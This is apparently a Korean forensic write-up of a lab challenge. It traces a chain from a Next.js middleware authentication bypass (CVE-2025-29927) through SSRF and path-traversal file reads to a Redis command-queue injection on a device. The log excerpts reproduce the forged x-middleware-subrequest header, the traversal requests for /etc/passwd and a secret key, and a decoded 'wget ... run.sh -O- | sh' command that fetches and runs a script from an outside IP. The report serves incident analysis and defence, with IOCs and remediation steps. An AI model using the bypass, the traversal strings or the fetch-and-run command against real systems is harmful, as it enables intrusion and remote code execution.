

침해사고 분석보고서

NeuroSync-D

Next.js 인증 우회에서 내부 서비스 명령 실행까지의 연쇄 침해 분석

사건 일시

2025-04-01 11:37:17~11:39:26 UTC

공격 경로

Middleware 우회 → SSRF → LFI → Redis 명령 주입

최종 상태

장치 명령 실행 시도 확인 / 외부 스크립트 수신 실패

사건 요약

외부 IP 10.129.231.211은 Next.js 정적 자산을 조회해 애플리케이션 구조를 확인한 뒤 보호된 /api/bci/analytics에 반복 접근했다. 5회의 HTTP 401 응답 이후 2025-04-01 11:38:05에 HTTP 200 응답이 발생했으며, interface.log에는 x-middleware-subrequest 값을 단계적으로 늘려 다섯 번의 middleware 토큰을 사용한 기록이 남아 있다.

인증 우회 뒤 요청은 내부 127.0.0.1:4000 API로 전달됐다. 공격자는 /logs 엔드포인트에서 경로 탐색을 이용해 /etc/passwd, /proc/self/environ, 애플리케이션 파일과 /tmp/secret.key를 읽었다. 이어 민감 정보를 이용한 것으로 보이는 서명형 OS_EXEC 메시지를 Redis bci_commands 큐에 삽입했고, BCI 장치는 외부 run.sh를 내려받아 셸로 실행하려 했다.

핵심 확인 사항

초기 침투	CVE-2025-29927	Next.js 15.1.0 미들웨어 인증 우회 [E-01, E-04]
내부 접근	127.0.0.1:4000	SSRF를 통한 내부 API 호출 [E-05]
정보 노출	/tmp/secret.key	LFI로 민감 파일 읽기 성공 [E-07]
명령 실행	11:39:26 UTC	Redis 큐 명령 처리, wget 부재로 수신 실패 [E-08, E-09]

결론: 인증 우회, 내부 API 접근, 파일 유출 및 장치 명령 실행 시도는 로그로 확인된다. 장치가 명령을 처리했으나 wget 실행 파일이 없어 외부 스크립트 다운로드와 후속 페이로드 실행은 실패한 것으로 판단한다.

침해 흐름과 주요 시각

시각은 웹-API장치 로그의 기록값을 UTC로 정렬했다. Redis의 Unix epoch 1743507566.415465는 2025-04-01 11:39:26.415465 UTC로 환산되며, 같은 초의 bci-device.log 실행 기록과 일치한다.

확인된 사건 순서

11:37:17	초기 접속	GET / 성공, 공격자 IP 10.129.231.211
11:37:35-47	정적 자산 열거	framework.js-main.js-commons.js 조회 후 main-app.js 확보
11:37:58-11:38:04	인증 탐색	/api/bci/analytics 요청 5회가 401로 거부됨
11:38:05	인증 우회 성공	동일 엔드포인트에서 200 응답 발생
11:38:05	내부 API 도달	127.0.0.1:4000의 /analytics 요청 기록
11:38:52	엔드포인트 탐색	/docs와 /logs 요청, 기본 로그 파일 읽기
11:39:01-24	LFI 악용	/etc/passwd부터 /tmp/secret.key까지 순차 접근
11:39:26	Redis 명령 처리	OS_EXEC 큐 삽입 후 BCI 장치가 명령 실행 시도

공격 사슬

외부 웹 접근 → Next.js 정적 자산 식별 → 보호 API 인증 우회 → 서버 측 내부 요청 → 내부 /logs 경로 탐색 → secret.key 노출 → Redis bci_commands 큐 주입 → BCI 장치 OS 명령 처리

관찰 범위상 명령 전달 체인은 장치까지 도달했다. run.sh의 실제 내용, 대체 다운로드 수단 사용 여부, 다른 장치의 실행 성공 여부는 추가 장치-네트워크 로그 확인이 필요하다.

취약 환경과 초기 정찰

interface.log는 애플리케이션이 Next.js 15.1.0으로 로컬 3000번 포트에서 실행됐음을 보여준다. 이 버전은 CVE-2025-29927 영향 범위(15.0.0 이상 15.2.3 미만)에 포함된다. 해당 취약점은 인증 검사가 미들웨어에 있을 때 조작된 내부 헤더로 검사를 우회할 수 있다.

애플리케이션 실행 정보

```
> next dev
▲ Next.js 15.1.0
- Local:      http://localhost:3000
- Network:    http://172.17.0.2:3000
- Experiments (use with caution):
  • webpackBuildWorker
  • parallelServerCompiles
  • parallelServerBuildTraces
```

그림 1. Next.js 15.1.0 및 localhost:3000 실행 정보 [E-01].

프레임워크

Next.js 15.1.0

CVE-2025-29927 영향 버전

로컬 서비스

TCP/3000

Next.js 애플리케이션

정적 자산 열거

```
kali@DESKTOP-GH978HR: /mnt/c/Users/user/Desktop/Pentest/Sherlocks/Easy/NeuroSync-D/NeuroSync$ cat access.log | grep 200
10.129.231.211 - - [01/Apr/2025:11:37:17 +0000] "GET / HTTP/1.1" 200 8486 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:37:44 +0000] "GET /_next/static/chunks/main-app.js HTTP/1.1" 200 1375579 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:37:47 +0000] "GET /_next/static/chunks/app/page.js HTTP/1.1" 200 64640 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
```

그림 2. 200 응답 기준 최초 확보된 Next.js 정적 자산 main-app.js [E-02].

공격자는 일반적인 Next.js 청크 이름을 순서대로 요청했다. framework.js, main.js, commons.js는 404였고 11:37:44의 main-app.js 요청이 200으로 성공했다. 이어 app/page.js까지 확보한 뒤 보호 API 탐색으로 전환했다.

취약점 판단

버전과 이후 헤더 조작 기록을 함께 보면 CVE-2025-29927 악용으로 판단된다. 15.x 계열의 최초 수정 버전은 15.2.3이다. 운영 환경은 현재 지원되는 최신 보안 릴리스로 올리고, 외부에서 유입되는 x-middleware-subrequest 헤더를 경계에서 제거해야 한다.

취약점 동작 원리

CVE-2025-29927은 Next.js가 내부 서브리퀘스트를 식별하기 위해 사용하는 x-middlewre-subrequest 헤더를 외부 요청에서도 신뢰하면서 발생하는 인증 우회 취약점이다. 애플리케이션이 인증·인가를 Middleware에만 구현한 경우, 조작된 헤더가 포함된 요청은 해당 검사를 건너뛰고 보호된 라우트에 도달할 수 있다.

영향 조건과 수정 기준

이 사건의 영향 버전

Next.js 15.1.0

15.0.0 이상 15.2.3 미만

15.x 최초 수정 버전

Next.js 15.2.3

지원 중인 최신 보안 버전 권고

우회가 성립하는 과정

- 01

외부 요청 조작

x-middlewre-subrequest에 middleware 토큰을 반복해 전송
- 02

내부 요청으로 오인

프레임워크가 해당 값을 내부 재귀 호출 표식으로 처리
- 03

Middleware 생략

Middleware에 구현된 인증·인가 로직이 실행되지 않음
- 04

보호 라우트 도달

/api/bci/analytics가 401 대신 200을 반환

사건에서의 연쇄 영향

이 취약점이 직접 제공하는 효과는 Middleware 인증 우회다. 본 사건에서는 우회된 /api/bci/analytics가 서버 측 요청 기능을 노출했고, 그 결과 SSRF로 내부 API에 접근했다. 이후 /logs의 LFI와 secret.key 노출, Redis 명령 큐 주입이 연결되면서 장치의 OS 명령 실행 시도까지 확대됐다.

방어 핵심: 프레임워크 패치와 함께 외부에서 유입되는 해당 헤더를 제거하고, 라우트 처리기에서도 권한을 다시 검증한다.

x-middlewre-subrequest: middleware:middleware:middleware:middleware:middleware

미들웨어 인증 우회

access.log에는 /api/bci/analytics에 대한 HTTP 401이 총 5회 발생한 뒤 11:38:05에 HTTP 200이 반환된 기록이 있다. 5회의 거부 요청은 최초 기준 요청 1건과 x-middleware-subrequest 값을 바꾼 실패 시도 4건으로 구분된다. 이어 다섯 토큰을 사용한 요청이 성공했다.

401 반복과 최초 성공

1	10.129.231.211	-	-	[01/Apr/2025:11:37:17 +0000]	"GET / HTTP/1.1"	200	8486	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
2	10.129.231.211	-	-	[01/Apr/2025:11:37:35 +0000]	"GET /_next/static/chunks/framework.js HTTP/1.1"	404	9321	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
3	10.129.231.211	-	-	[01/Apr/2025:11:37:38 +0000]	"GET /_next/static/chunks/main.js HTTP/1.1"	404	9318	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
4	10.129.231.211	-	-	[01/Apr/2025:11:37:40 +0000]	"GET /_next/static/chunks/commons.js HTTP/1.1"	404	9319	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
5	10.129.231.211	-	-	[01/Apr/2025:11:37:44 +0000]	"GET /_next/static/chunks/main-app.js HTTP/1.1"	200	1375579	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
6	10.129.231.211	-	-	[01/Apr/2025:11:37:47 +0000]	"GET /_next/static/chunks/app/page.js HTTP/1.1"	200	64640	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
7	10.129.231.211	-	-	[01/Apr/2025:11:37:58 +0000]	"GET /api/bci/analytics HTTP/1.1"	401	93	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
8	10.129.231.211	-	-	[01/Apr/2025:11:37:59 +0000]	"GET /api/bci/analytics HTTP/1.1"	401	93	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
9	10.129.231.211	-	-	[01/Apr/2025:11:38:01 +0000]	"GET /api/bci/analytics HTTP/1.1"	401	93	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10	10.129.231.211	-	-	[01/Apr/2025:11:38:02 +0000]	"GET /api/bci/analytics HTTP/1.1"	401	93	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
11	10.129.231.211	-	-	[01/Apr/2025:11:38:04 +0000]	"GET /api/bci/analytics HTTP/1.1"	401	93	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
12	10.129.231.211	-	-	[01/Apr/2025:11:38:05 +0000]	"GET /api/bci/analytics HTTP/1.1"	200	737	-	-	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"

그림 3. /api/bci/analytics의 5회 401 응답과 11:38:05의 200 응답 [E-03].

조작된 내부 헤더

```
,["x-forwarded-proto","http"],["x-real-ip","10.129.231.211"]]  
,["x-forwarded-proto","http"],["x-middleware-subrequest","middleware"],["x-real-ip","10.129.231.211"]]  
,["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware"],["x-real-ip","10.129.231.211"]]  
,["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware:middleware"],["x-real-ip","10.129.231.211"]]  
,["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware:middleware:middleware"],["x-real-ip","10.129.231.211"]]
```

그림 4. x-middleware-subrequest 값을 한 단계씩 늘린 시도 [E-04].

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

거부 응답

총 5회 · 401

기준 요청 포함

헤더 변경 실패

4회

1~4개 토큰

최초 성공

11:38:05

5개 토큰 · 200

판단: 다섯 번째 반복 토큰을 사용한 요청에서 인증 미들웨어가 내부 서브리퀘스트로 오인한 것으로 해석된다. 애플리케이션의 권한 검사를 미들웨어 한 곳에만 의존한 구조가 보호 API 노출로 이어졌다.

내부 서비스 탐색

인증 우회 직후 data-api.log에는 ::ffff:127.0.0.1에서 localhost:4000의 /analytics로 들어온 요청이 기록됐다. 외부 공격자의 요청이 서버 내부 루프백 주소로 변환되어 전달된 사실은 SSRF를 통한 내부 서비스 접근과 일치한다.

내부 API 최초 확인

```
2025-04-01 11:38:05 [VERBOSE] Incoming request: GET /analytics from ::ffff:127.0.0.1
2025-04-01 11:38:05 [VERBOSE] Request headers: {"host":"localhost:4000","user-agent":"curl/7.88.1","accept":"*/*"}
2025-04-01 11:38:05 [VERBOSE] Received GET /analytics request from ::ffff:127.0.0.1
2025-04-01 11:38:05 [VERBOSE] Logging analytics data to Redis and file...
2025-04-01 11:38:05 [VERBOSE] Logged analytics data to Redis: {"timestamp":"2025-04-01T11:38:05.832Z","ip":"::ffff:127.0.0.1","route":"/analytics"}
2025-04-01 11:38:05 [VERBOSE] Logged analytics data to file at /var/log/logfile.txt
```

그림 5. 11:38:05 localhost:4000 /analytics 내부 요청 [E-05].

내부 목적지

127.0.0.1:4000

data-api 서비스

요청 도구

curl/7.88.1

서버 측 요청 사용자 에이전트

엔드포인트 탐색

```
2025-04-01 11:38:52 [VERBOSE] Incoming request: GET /docs from ::ffff:127.0.0.1
2025-04-01 11:38:52 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}
2025-04-01 11:38:52 [VERBOSE] Incoming request: GET /logs from ::ffff:127.0.0.1
2025-04-01 11:38:52 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}
2025-04-01 11:38:52 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1
2025-04-01 11:38:52 [VERBOSE] Requested log file: /var/log/logfile.txt
2025-04-01 11:38:52 [VERBOSE] Sanitized log file path: /var/log/logfile.txt
2025-04-01 11:38:52 [VERBOSE] Reading log file: /var/log/logfile.txt
2025-04-01 11:38:52 [VERBOSE] Log file read successfully.
2025-04-01 11:38:52 [VERBOSE] Log file contains 3 lines.
2025-04-01 11:38:52 [VERBOSE] Parsed 2 valid log entries.
2025-04-01 11:38:52 [VERBOSE] Sending log data response...
2025-04-01 11:39:01 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../../../../../../../../etc/passwd from ::ffff:127.0.0.1
2025-04-01 11:39:01 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}
2025-04-01 11:39:01 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1
2025-04-01 11:39:01 [VERBOSE] Requested log file: /var/log/../../../../../../../../etc/passwd
2025-04-01 11:39:01 [VERBOSE] Sanitized log file path: /var/log/../../../../etc/passwd
```

그림 6. /docs와 /logs를 찾은 뒤 기본 로그 파일을 읽은 기록 [E-06].

11:38:52에 /docs와 /logs가 같은 초에 호출됐고, /logs는 기본값 /var/log/logfile.txt를 읽어 응답했다. 이는 포트 발견 뒤 내부 API의 경로를 탐색해 파일 읽기 기능을 식별한 단계다.

통제 관점: SSRF 대상 주소를 허용 목록으로 제한하고 루프백·사설망·링크 로컬 대역으로의 연결을 차단해야 한다.

내부 파일 열람과 비밀키 노출

/logs의 logFile 매개변수는 상위 경로 문자열을 정규화한 뒤에도 기준 디렉터리 밖의 파일을 열었다. 11:39:01의 /etc/passwd가 첫 악성 사용이며, 이어 /proc/self/envron과 애플리케이션 파일을 조회했다.

최초 악용과 후속 열람

```
2025-04-01 11:39:01 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../../../../../../../../etc/passwd from ::ffff:127.0.0.1
2025-04-01 11:39:01 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}
2025-04-01 11:39:01 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1
2025-04-01 11:39:01 [VERBOSE] Requested log file: /var/log/../../../../../../../../etc/passwd
2025-04-01 11:39:01 [VERBOSE] Sanitized log file path: /var/log/../../../../etc/passwd
2025-04-01 11:39:01 [VERBOSE] Reading log file: /var/log/../../../../etc/passwd
2025-04-01 11:39:01 [VERBOSE] Log file read successfully.
2025-04-01 11:39:01 [VERBOSE] Log file contains 20 lines.
2025-04-01 11:39:03 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../../../../../../../../proc/self/envron from ::ffff:127.0.0.1
2025-04-01 11:39:03 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}
2025-04-01 11:39:03 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1
2025-04-01 11:39:03 [VERBOSE] Requested log file: /var/log/../../../../../../../../proc/self/envron
2025-04-01 11:39:03 [VERBOSE] Sanitized log file path: /var/log/../../../../proc/self/envron
2025-04-01 11:39:03 [VERBOSE] Reading log file: /var/log/../../../../proc/self/envron
2025-04-01 11:39:03 [VERBOSE] Log file read successfully.
```

그림 7. /etc/passwd와 /proc/self/envron 읽기 성공 기록 [E-07].

마지막 표적 파일

```
2025-04-01 11:39:24 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../../../../../../../../tmp/secret.key from ::ffff:127.0.0.1
2025-04-01 11:39:24 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}
2025-04-01 11:39:24 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1
2025-04-01 11:39:24 [VERBOSE] Requested log file: /var/log/../../../../../../../../tmp/secret.key
2025-04-01 11:39:24 [VERBOSE] Sanitized log file path: /var/log/../../../../tmp/secret.key
2025-04-01 11:39:24 [VERBOSE] Reading log file: /var/log/../../../../tmp/secret.key
2025-04-01 11:39:24 [VERBOSE] Log file read successfully.
2025-04-01 11:39:24 [VERBOSE] Log file contains 1 lines.
```

그림 8. 11:39:24 /tmp/secret.key 읽기 성공 기록 [E-07].

취약 매개변수

logFile

경로 탐색 문자열 허용

마지막 표적

/tmp/secret.key

1개 행 읽기 성공

영향 판단

운영체제 계정 정보, 프로세스 환경 변수, 애플리케이션 소스 및 명령 검증에 쓰이는 비밀값이 노출됐을 가능성이 높다. secret.key의 실제 값은 보고서에 재기재하지 않으며 즉시 폐기·재발급해야 한다.

Redis 명령 주입과 장치 실행

Redis 로그에서 로컬 클라이언트 127.0.0.1:34502가 bci_commands 리스트에 OS_EXEC 메시지를 RPUSH한 기록이 확인된다. 메시지는 명령 유형, Base64 페이로드, 64자리 검증값의 세 필드로 구성된다. 앞서 읽은 secret.key가 이 검증값 생성에 사용됐을 가능성이 있으나 알고리즘은 로그만으로 확정하지 않는다.

큐에 삽입된 명령

```
RPUSH bci_commands
OS_EXEC|d2d1dCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb
```

로그 1. Redis Unix epoch 1743507566.415465, 2025-04-01 11:39:26.415465 UTC [E-08].

Base64 디코딩 결과

```
wget http://185.202.2.147/h4Pln4/run.sh -O- | sh
```

해당 명령은 185.202.2.147에서 run.sh를 표준 출력으로 내려받아 곧바로 셸에 전달하도록 구성됐다. 파일을 디스크에 저장하지 않고 실행하려는 형태다.

장치 처리 결과

```
2025-04-01 11:39:26 BCI (Device): Executing OS command: wget http://185.202.2.147/h4Pln4/run.sh -O- | sh
2025-04-01 11:39:26 BCI (Device): Command output: sh: 1: wget: not found
```

그림 9. BCI 장치의 OS 명령 실행 시도와 wget 부재 오류 [E-09].

확인: Redis 메시지가 장치 처리기까지 도달해 OS 명령으로 해석됐다. 결과: "sh: 1: wget: not found"가 반환됐다. 따라서 이 시도에서는 run.sh 다운로드와 실행이 완료되지 않았다. 다른 도구·장치에서의 후속 성공 여부는 별도 확인이 필요하다.

영향 평가와 대응 권고

판단 수준

확인	Next.js 15.1.0, 5회의 401 뒤 200 응답, 반복 x-middleware-subrequest 헤더.
확인	SSRF로 127.0.0.1:4000 접근, /logs LFI를 통한 /tmp/secret.key 읽기.
확인	Redis bci_commands의 OS_EXEC 삽입 및 장치 측 명령 실행 시도.
제한	wget 부재로 외부 run.sh 수신 실패. 스크립트 내용과 후속 행위는 확인되지 않음.

우선 대응

1	즉시 격리	외부 웹과 내부 data-api-Redis-BCI 장치 간 통신을 분리하고 185.202.2.147을 차단한다.
2	취약점 제거	Next.js를 현재 지원되는 보안 버전으로 올리고 x-middleware-subrequest 외부 유입을 제거한다.
3	비밀값 교체	secret.key 및 동일 키로 서명·검증되는 토큰과 장치 명령 자격을 전면 재발급한다.
4	구조 개선	/logs 입력을 파일 식별자 허용 목록으로 제한하고 실제 경로가 기준 디렉터리 안인지 검증한다.
5	추가 추적	185.202.2.147, h4Pln4/run.sh, OS_EXEC, bci_commands 및 유사 헤더를 전 호스트에서 검색한다.

잔여 조사 항목

BCI 장치 전체에서 같은 Redis 메시지 처리 여부와 wget 외 다운로드 도구 사용 흔적을 확인한다. 185.202.2.147 접속 기록, run.sh 수신 흔적, 생성 프로세스와 메모리 아티팩트를 대조해 다른 장치에서의 후속 실행 성공 여부를 확정한다.

IOC 및 증거 목록

탐지·차단과 범위 확인에 사용할 핵심 지표를 유형별로 정리했다. 경로와 Redis 문자열은 단독 사용 시 정상 행위와 충돌할 수 있으므로 사건 시각, 공격자 IP, 반복 헤더 및 실행 로그를 함께 대조한다.

IOC 요약

IPv4 · 공격 출발지	10.129.231.211	웹 정찰 및 보호 API 반복 접근
IPv4 · 외부 인프라	185.202.2.147	run.sh 다운로드 대상
HTTP 경로	/api/bci/analytics	Middleware 우회 대상
내부 API 경로	/logs	logFile 매개변수 LFI
파일 경로	/tmp/secret.key	마지막 LFI 표적
Redis 키	bci_commands	장치 명령 큐
명령 식별자	OS_EXEC	운영체제 명령 실행 유형

증거 등록부

E-01	interface.log	Next.js 15.1.0 / TCP 3000	E-02	access.log	정적 자산 열거 / main-app.js
E-03	access.log	401 5회 / 200 최초 성공	E-04	interface.log	헤더 값 변경 4회 / 최종 5개 토كن
E-05	data-api.log	localhost:4000 /analytics	E-06	data-api.log	/docs/logs 탐색
E-07	data-api.log	LFI / secret.key	E-08	redis.log	R PUSH bci_commands OS_EXEC
E-09	bci-device.log	명령 실행 시도 / wget 오류			